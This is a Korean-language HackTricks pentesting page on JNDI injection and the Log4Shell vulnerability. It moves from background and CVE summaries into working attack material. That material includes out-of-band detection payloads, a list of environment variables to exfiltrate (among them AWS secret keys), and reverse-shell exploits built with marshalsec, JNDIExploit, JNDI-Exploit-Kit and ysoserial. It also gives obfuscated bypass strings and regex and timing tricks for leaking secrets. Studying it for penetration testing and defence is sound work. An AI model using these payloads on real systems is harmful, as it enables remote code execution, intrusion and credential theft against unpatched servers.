JNDI - Java Naming and Directory Interface & Log4Shell

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

Try Hard Security Group


기본 정보

1990년대 후반부터 Java에 통합된 JNDI는 디렉터리 서비스로 작동하여 Java 프로그램이 네이밍 시스템을 통해 데이터나 객체를 찾을 수 있도록 지원합니다. SPI(서비스 제공자 인터페이스)를 통해 다양한 디렉터리 서비스를 지원하며, 원격 Java 객체를 통해 데이터를 검색할 수 있습니다. 일반적인 SPI에는 CORBA COS, Java RMI 레지스트리 및 LDAP가 포함됩니다.

JNDI 네이밍 참조

Java 객체는 JNDI 네이밍 참조를 사용하여 저장 및 검색될 수 있으며, 두 가지 형식으로 제공됩니다:

  • 참조 주소: 객체의 위치를 지정합니다(예: rmi://server/ref), 지정된 주소에서 직접 검색이 가능합니다.

  • 원격 팩토리: 원격 팩토리 클래스를 참조합니다. 액세스할 때 클래스가 원격 위치에서 다운로드되고 인스턴스화됩니다.

그러나 이 메커니즘은 악용될 수 있으며 임의의 코드를 로드하고 실행할 수 있습니다. 대비책으로:

  • RMI: JDK 7u21부터 기본적으로 java.rmi.server.useCodeabseOnly = true로 설정되어 원격 객체 로딩이 제한됩니다. 보안 관리자는 무엇을 로드할 수 있는지 추가로 제한합니다.

  • LDAP: JDK 6u141, 7u131, 8u121부터 기본적으로 com.sun.jndi.ldap.object.trustURLCodebase = false로 설정되어 원격으로 로드된 Java 객체의 실행을 차단합니다. true로 설정하면 보안 관리자의 감독 없이 원격 코드 실행이 가능합니다.

  • CORBA: 특정 속성이 없지만 보안 관리자는 항상 활성화됩니다.

그러나 JNDI 링크를 해결하는 Naming Manager에는 내장된 보안 메커니즘이 없어 어떤 소스에서든 객체를 검색할 수 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회하여 임의의 Java 객체를 로드하거나 기존 애플리케이션 구성요소(가젯)를 악용하여 악성 코드를 실행할 수 있음을 의미합니다.

악용 가능한 URL 예시:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

보호 조치가 있음에도 불구하고, JNDI를 신뢰할 수 없는 소스에서 로드하거나 기존 보호를 우회할 수 있는 가능성으로 인해 취약점이 남아 있습니다.

JNDI 예시

**PROVIDER_URL**을 설정했더라도 lookup에서 다른 URL을 지정할 수 있으며 액세스할 수 있습니다: ctx.lookup("<attacker-controlled-url>") 이것이 공격자가 자체 시스템에서 임의의 객체를 로드하는 데 악용할 것입니다.

CORBA 개요

CORBA(Common Object Request Broker Architecture)는 **Interoperable Object Reference (IOR)**를 사용하여 원격 객체를 고유하게 식별합니다. 이 참조에는 다음과 같은 중요한 정보가 포함됩니다:

  • Type ID: 인터페이스에 대한 고유 식별자.

  • Codebase: 스텁 클래스를 얻기 위한 URL.

특히, CORBA는 기본적으로 취약하지 않습니다. 일반적으로 보안을 보장하기 위해서는 다음이 필요합니다:

  • 보안 관리자 설치.

  • 보안 관리자를 구성하여 잠재적으로 악의적인 코드베이스로의 연결을 허용합니다. 이는 다음을 통해 달성할 수 있습니다:

  • 소켓 권한, 예: permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • 파일 읽기 권한, 모든 파일에 대해 (permission java.io.FilePermission "<<ALL FILES>>", "read";) 또는 악성 파일이 배치될 수 있는 특정 디렉터리에 대해.

그러나 일부 공급업체 정책은 관대할 수 있으며 이러한 연결을 기본적으로 허용할 수 있습니다.

RMI 컨텍스트

RMI(Remote Method Invocation)의 경우 상황은 다소 다릅니다. CORBA와 마찬가지로 임의의 클래스 다운로드는 기본적으로 제한됩니다. RMI를 악용하려면 일반적으로 보안 관리자를 우회해야 합니다. 이는 CORBA에서도 관련이 있는 작업입니다.

LDAP

먼저, **검색(Search)**과 **조회(Lookup)**를 구분해야 합니다. 검색ldap://localhost:389/o=JNDITutorial와 같은 URL을 사용하여 LDAP 서버에서 JNDITutorial 객체를 찾고 속성을 검색합니다. 조회네이밍 서비스를 위해 사용됩니다. 즉, 이름에 바인딩된 내용을 가져오려고 합니다.

LDAP 검색이 SearchControls.setReturningObjFlag()와 함께 true로 호출된 경우, 반환된 객체가 재구성됩니다.

따라서 이러한 옵션을 공격하는 여러 가지 방법이 있습니다. 공격자는 LDAP 레코드에 페이로드를 삽입하여 해당 시스템에서 실행될 것으로 예상되는 기계들을 컴프라마이즈하는 방법이 있습니다 (LDAP 서버에 액세스할 수 있는 경우 매우 유용). 이를 악용하는 다른 방법은 예를 들어 LDAP 검색에서 MitM 공격을 수행하는 것입니다.

앱이 JNDI LDAP URL을 해석하도록 만들 수 있는 경우, 검색될 LDAP를 제어할 수 있으며 악용(로그4shell)을 다시 보낼 수 있습니다.

직렬화 악용

악용이 직렬화되고 역직렬화될 것입니다. trustURLCodebasetrue인 경우, 공격자는 코드베이스에 자체 클래스를 제공할 수 있으며 그렇지 않은 경우에는 클래스패스의 가젯을 악용해야 합니다.

JNDI 참조 악용

이 LDAP를 공격하는 데 JavaFactory 참조를 사용하는 것이 더 쉽습니다:

Log4Shell 취약점

이 취약점은 Log4j에서 소개되었으며 특별한 구문${prefix:name}을 지원합니다. 여기서 prefix는 다양한 Lookups 중 하나이며 name은 평가되어야 하는 값입니다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전입니다.

LOG4J2-313jndi Lookup 기능을 도입했습니다. 이 기능을 사용하면 JNDI를 통해 변수를 검색할 수 있습니다. 일반적으로 키는 자동으로 java:comp/env/로 접두어가 붙습니다. 그러나 키 자체에 **":"**가 포함된 경우 이 기본 접두사가 적용되지 않습니다.

키에 :이 포함된 경우 ${jndi:ldap://example.com/a}와 같이 접두사가 없으며 LDAP 서버가 객체를 쿼리합니다. 이러한 Lookups는 Log4j의 구성 및 로그가 기록될 때 모두 사용할 수 있습니다.

따라서 사용자가 제어하는 정보를 처리하는 취약한 Log4j 버전이 필요하며, Java 애플리케이션에서 정보를 기록하기 위해 널리 사용되는 라이브러리이므로 (인터넷에 노출된 애플리케이션 포함) 예를 들어 HTTP 헤더와 같은 정보를 로깅하는 데 log4j를 사용하는 것이 매우 일반적합니다. 그러나 log4j는 HTTP 정보만 로깅하는 것이 아니라 개발자가 지정한 모든 입력 및 데이터를 로깅합니다.

Log4Shell 관련 CVE 개요

이 취약점은 log4j-core 구성 요소에서 발생한 심각한 신뢰되지 않는 역직렬화 결함으로, 2.0-beta9부터 2.14.1 버전에 영향을 미칩니다. **원격 코드 실행 (RCE)**를 허용하여 공격자가 시스템을 탈취할 수 있습니다. 이 문제는 Alibaba Cloud 보안팀의 Chen Zhaojun에 의해 보고되었으며 다양한 Apache 프레임워크에 영향을 줍니다. 2.15.0 버전의 초기 수정은 불완전했습니다. 방어를 위한 Sigma 규칙이 사용 가능합니다 (규칙 1, 규칙 2).

초기에는 낮은 등급으로 평가되었지만 후에 중대로 업그레이드된 이 CVE는 2.15.0에서 CVE-2021-44228에 대한 불완전한 수정으로 인한 서비스 거부 (DoS) 결함입니다. 기본 구성이 아닌 구성에 영향을 미치며, 공격자가 조작된 페이로드를 통해 DoS 공격을 유발할 수 있습니다. 트윗에서 우회 방법을 보여줍니다. 이 문제는 메시지 조회 패턴을 제거하고 JNDI를 기본적으로 비활성화함으로써 2.16.0 및 2.12.2 버전에서 해결되었습니다.

CVE-2021-4104 [높음]

JMSAppender를 사용하는 비기본 구성의 Log4j 1.x 버전에 영향을 주는 이 CVE는 신뢰되지 않는 역직렬화 결함입니다. 1.x 브랜치에 대한 수정이 없으며, 종료된 상태이므로 log4j-core 2.17.0으로 업그레이드하는 것이 권장됩니다.

이 취약점은 Log4j 1.x의 후속인 Logback 로깅 프레임워크에 영향을 줍니다. 이전에 안전하다고 생각되었던 프레임워크가 취약점이 발견되었으며, 이 문제를 해결하기 위해 새로운 버전(1.3.0-alpha11 및 1.2.9)이 출시되었습니다.

CVE-2021-45105 [높음]

Log4j 2.16.0에는 DoS 결함이 포함되어 log4j 2.17.0을 출시하여 CVE를 해결했습니다. 자세한 내용은 BleepingComputer의 보고서에서 확인할 수 있습니다.

log4j 버전 2.17에 영향을 주는 이 CVE는 공격자가 log4j의 구성 파일을 제어해야 합니다. 이는 구성된 JDBCAppender를 통해 잠재적인 임의 코드 실행을 포함합니다. 자세한 내용은 Checkmarx 블로그 게시물에서 확인할 수 있습니다.

Log4Shell 악용

발견

이 취약점은 보호되지 않은 경우 매우 쉽게 발견할 수 있습니다. 왜냐하면 페이로드에서 지정한 주소로 적어도 하나의 DNS 요청을 보낼 것입니다. 따라서 다음과 같은 페이로드가 있습니다:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com 사용)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh 사용)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite 사용)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (dnslog 사용)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (huntress 사용)

DNS 요청을 받았다고 해서 응용 프로그램이 악용 가능하다는 것을 의미하지는 않습니다(심지어 취약할 수도 없습니다). 악용해야 합니다.

버전 2.15를 악용하려면 로컬호스트 확인 우회를 추가해야 합니다: ${jndi:ldap://127.0.0.1#...}

로컬 발견

다음과 같이 로컬 취약 버전을 검색합니다:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

검증

이전에 나열된 일부 플랫폼은 요청 시 기록될 변수 데이터를 삽입할 수 있습니다. 이것은 다음 두 가지에 대해 매우 유용할 수 있습니다:

  • 취약점을 검증하기 위해

  • 취약점을 악용하여 정보를 유출하기 위해

예를 들어 다음과 같이 요청할 수 있습니다: 또는 ${**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}**와 같이 요청하고 환경 변수의 값이 포함된 DNS 요청을 받으면, 해당 응용 프로그램이 취약함을 알 수 있습니다.

유출하려는 다른 정보:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 정보

JDK 버전이 6u141, 7u131 또는 8u121 이상인 호스트는 LDAP 클래스 로딩 공격 벡터에 대해 안전하게 보호됩니다. 이는 com.sun.jndi.ldap.object.trustURLCodebase의 기본 비활성화로 인해 JNDI가 LDAP를 통해 원격 코드베이스를 로드하는 것을 방지하기 때문입니다. 그러나 이러한 버전은 직렬화 공격 벡터에 대해 보호되지 않음을 주의해야 합니다.

이러한 더 높은 JDK 버전을 악용하려는 공격자들은 Java 애플리케이션 내에서 신뢰할 수 있는 가젯을 활용해야 합니다. 이를 위해 종종 ysoserial이나 JNDIExploit과 같은 도구가 사용됩니다. 반면에 낮은 JDK 버전을 악용하는 것은 비교적 쉽습니다. 이러한 버전은 임의의 클래스를 로드하고 실행할 수 있도록 조작할 수 있기 때문입니다.

더 많은 정보(RMI 및 CORBA 벡터에 대한 제한 사항 등)을 원한다면 이전 JNDI Naming 참조 섹션을 확인하거나 https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/를 참조하세요.

RCE - 사용자 정의 페이로드를 사용한 Marshalsec

이를 THM 상자에서 테스트할 수 있습니다: https://tryhackme.com/room/solar

도구 marshalsec (jar 버전은 여기에서 사용 가능)를 사용하세요. 이 접근 방식은 LDAP 리퍼럴 서버를 설정하여 연결을 보조 HTTP 서버로 리디렉션하고 악용이 호스팅될 곳입니다:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

대상에게 역술 쉘 코드를 로드하도록 유도하려면 아래 내용으로 Exploit.java라는 Java 파일을 작성하십시오:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java 파일을 클래스 파일로 컴파일하려면 다음을 사용하십시오: javac Exploit.java -source 8 -target 8. 다음으로 클래스 파일이 있는 디렉토리에서 HTTP 서버를 시작하십시오: python3 -m http.server. marshalsec LDAP 서버가 이 HTTP 서버를 참조하도록 합니다.

취약한 웹 서버에서 exploit 클래스의 실행을 트리거하려면 다음과 유사한 페이로드를 전송하십시오:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

참고: 이 취약점은 Java의 구성이 LDAP를 통한 원격 코드베이스 로딩을 허용하도록 설정되어 있는 것에 의존합니다. 이를 허용할 수 없는 경우 임의의 코드 실행을 위해 신뢰할 수 있는 클래스를 악용하는 것을 고려하십시오.

RCE - JNDIExploit

일부 이유로 저자가 log4shell의 발견 이후에 이 프로젝트를 github에서 제거했음을 유의하십시오. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고자 한다면 이 취약점을 악용하기 위한 다른 방법을 사용하십시오.

또한, wayback machine에서 소스 코드를 찾을 수 없으므로 소스 코드를 분석하거나 무엇을 실행하는지 모르는 상태에서 jar를 실행할 수 있습니다.

이 예제에서는 log4shell에 취약한 웹 서버를 실행하여 포트 8080에서 실행할 수 있습니다: https://github.com/christophetd/log4shell-vulnerable-app (README에서 실행 방법을 찾을 수 있습니다). 이 취약한 앱은 HTTP 요청 헤더 _X-Api-Version_의 내용을 취약한 log4shell 버전으로 로깅합니다.

그런 다음, JNDIExploit jar 파일을 다운로드하고 다음과 같이 실행할 수 있습니다:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

코드를 읽은 후 몇 분 만에 com.feihong.ldap.LdapServer 및 _com.feihong.ldap.HTTPServer_에서 LDAP 및 HTTP 서버가 생성되는 방법을 볼 수 있습니다. LDAP 서버는 제공해야 할 페이로드를 이해하고 피해자를 HTTP 서버로 리디렉션하여 악용을 제공할 것입니다. _com.feihong.ldap.gadgets_에서는 일부 특정 가젯을 찾을 수 있으며, 이를 사용하여 원하는 작업(임의 코드 실행 가능)을 수행할 수 있습니다. _com.feihong.ldap.template_에서는 악용을 생성할 다양한 템플릿 클래스를 볼 수 있습니다.

**java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**로 모든 사용 가능한 악용을 볼 수 있습니다. 유용한 몇 가지는:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

그래서, 우리의 예제에서는 이미 취약한 도커 앱이 실행 중입니다. 공격하기 위해:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

RCE - JNDI-Exploit-Kit

이전 exploit과 유사하게, JNDI-Exploit-Kit을 사용하여 이 취약점을 악용해 볼 수 있습니다. 피해자에게 보낼 URL을 생성할 수 있습니다:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

이 공격은 사용자 지정 생성된 자바 객체를 사용하여 THM solar room과 같은 랩에서 작동합니다. 그러나 기본적으로 Java는 LDAP를 사용하여 원격 코드베이스를로드하도록 구성되어 있지 않기 때문에 일반적으로 작동하지 않을 것으로 생각됩니다. 이것은 신뢰할 수있는 클래스를 남용하여 임의의 코드를 실행하는 것이 아니기 때문입니다.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 또 다른 도구입니다.\

RCE - ysoserial & JNDI-Exploit-Kit

이 옵션은 지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 매우 유용합니다. 따라서 ysoserial신뢰할 수있는 클래스의 직렬화를 생성하는 데 사용되며 이는 임의의 코드를 실행하는 가젯으로 사용될 수 있습니다 (ysoserial에 의해 남용된 신뢰할 수있는 클래스는 피해자 자바 프로그램에서 사용되어야만 공격이 작동합니다).

ysoserial 또는 ysoserial-modified을 사용하여 JNDI에 의해 다운로드되는 직렬화 공격을 생성할 수 있습니다:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit을 사용하여 취약한 기기로부터의 연결을 기다리는 취약점이 있는 JNDI 링크를 생성합니다. JNDI-Exploit-Kit이 자동으로 생성할 수 있는 다양한 취약점 또는 여러분이 생성하거나 ysoserial로 생성한 직렬화 페이로드를 사용할 수 있습니다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

이제 취약한 버전의 log4j로 전송하여 취약성을 악용하고 reverse shell을 얻을 수 있는 생성된 JNDI 링크를 쉽게 사용할 수 있습니다: ${ldap://10.10.14.10:1389/generated}

우회법

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

자동 스캐너

테스트할 랩

Log4Shell 이후의 공격

CTF writeup에서는 Log4J의 일부 기능을 남용할 수 있는 가능성에 대해 잘 설명되어 있습니다.

Log4j의 보안 페이지에는 흥미로운 문구가 있습니다:

자바 8용 버전 2.16.0부터 메시지 조회 기능이 완전히 제거되었습니다. 구성에서의 조회는 여전히 작동합니다. 또한, Log4j는 이제 기본적으로 JNDI 액세스를 비활성화합니다. 구성에서의 JNDI 조회는 명시적으로 활성화해야 합니다.

자바 7 및 자바 6용 버전 2.17.0부터 (및 2.12.3 및 2.3.1), 구성에서만 조회 문자열이 재귀적으로 확장됩니다. 다른 사용 방법에서는 최상위 조회만 해결되며 중첩된 조회는 해결되지 않습니다.

기본적으로 jndi exploit을 사용할 수 없게 되었음을 의미합니다. 더불어 재귀적 조회를 수행하려면 이를 구성해야 합니다.

예를 들어, 이 CTF에서는 다음과 같이 파일 log4j2.xml에 구성되어 있었습니다:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

이 CTF에서 공격자는 ${sys:cmd}의 값을 제어하고 환경 변수에서 플래그를 유출해야 했습니다. 이전 payloads 페이지에서 볼 수 있듯이, **${env:FLAG}**와 같은 방법으로 환경 변수에 액세스할 수 있는 여러 가지 방법이 있습니다. 이 CTF에서는 이 방법이 쓸모 없었지만, 다른 실제 시나리오에서는 그렇지 않을 수 있습니다.

Exfiltration in Exceptions

CTF에서는 log4J를 사용하여 java 애플리케이션의 stderr에 액세스할 수 없었지만, Log4J 예외는 stdout으로 전송되어 python 앱에서 출력되었습니다. 이는 예외를 트리거하여 내용에 액세스할 수 있다는 것을 의미했습니다. 플래그를 유출하기 위한 예외는 다음과 같습니다: ${java:${env:FLAG}}. 이는 **${java:CTF{blahblah}}**가 존재하지 않기 때문에 플래그 값이 포함된 예외가 표시됩니다:

Conversion Patterns Exceptions

언급할만한 사항으로, 새로운 conversion patterns를 주입하고 stdout에 로그된 예외를 트리거할 수도 있습니다. 예를 들어:

이는 오류 메시지 내의 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문이지만, 이는 감지와 같은 다른 작업에 유용할 수 있습니다.

Conversion Patterns Regexes

그러나 regex를 지원하는 일부 변환 패턴을 사용하여 binary search 또는 time based 동작을 악용하여 조회에서 정보를 유출할 수 있습니다.

  • 예외 메시지를 통한 이진 검색

변환 패턴 **%replace**는 regex를 사용하여 문자열에서 내용을 대체할 수 있습니다. 이는 다음과 같이 작동합니다: replace{pattern}{regex}{substitution} 이 동작을 악용하여 문자열 내에서 regex가 일치하는 내용이 있다면 예외를 트리거하도록 만들 수 있습니다 (찾지 못했을 경우에는 예외가 발생하지 않음) 다음과 같이:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • 시간 기반

이전 섹션에서 언급했듯이 **%replace**는 정규식을 지원합니다. 따라서 ReDoS 페이지에서의 페이로드를 사용하여 플래그가 발견되면 타임아웃을 발생시킬 수 있습니다. 예를 들어, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd}와 같은 페이로드는 해당 CTF에서 타임아웃을 발생시킵니다.

writeup에서는 ReDoS 공격 대신 응답에서 시간 차이를 유발하기 위해 증폭 공격을 사용했습니다:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

플래그가 flagGuess로 시작하는 경우, 전체 플래그가 29개의 #으로 대체됩니다 (이 문자를 사용한 이유는 플래그의 일부가 아니라고 생각되기 때문입니다). 결과적으로 생성된 29개의 # 각각이 54개의 #으로 대체됩니다. 이 프로세스는 6번 반복되어 총 29*54*54^6* =`` ``96816014208 개의 #가 생성됩니다!

이렇게 많은 #을 대체하면 Flask 애플리케이션의 10초 타임아웃을 유발하게 되며, 이는 사용자에게 HTTP 상태 코드 500이 전송되도록 합니다. (플래그가 flagGuess로 시작하지 않으면 500이 아닌 상태 코드를 받게 됩니다)

참고 자료

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated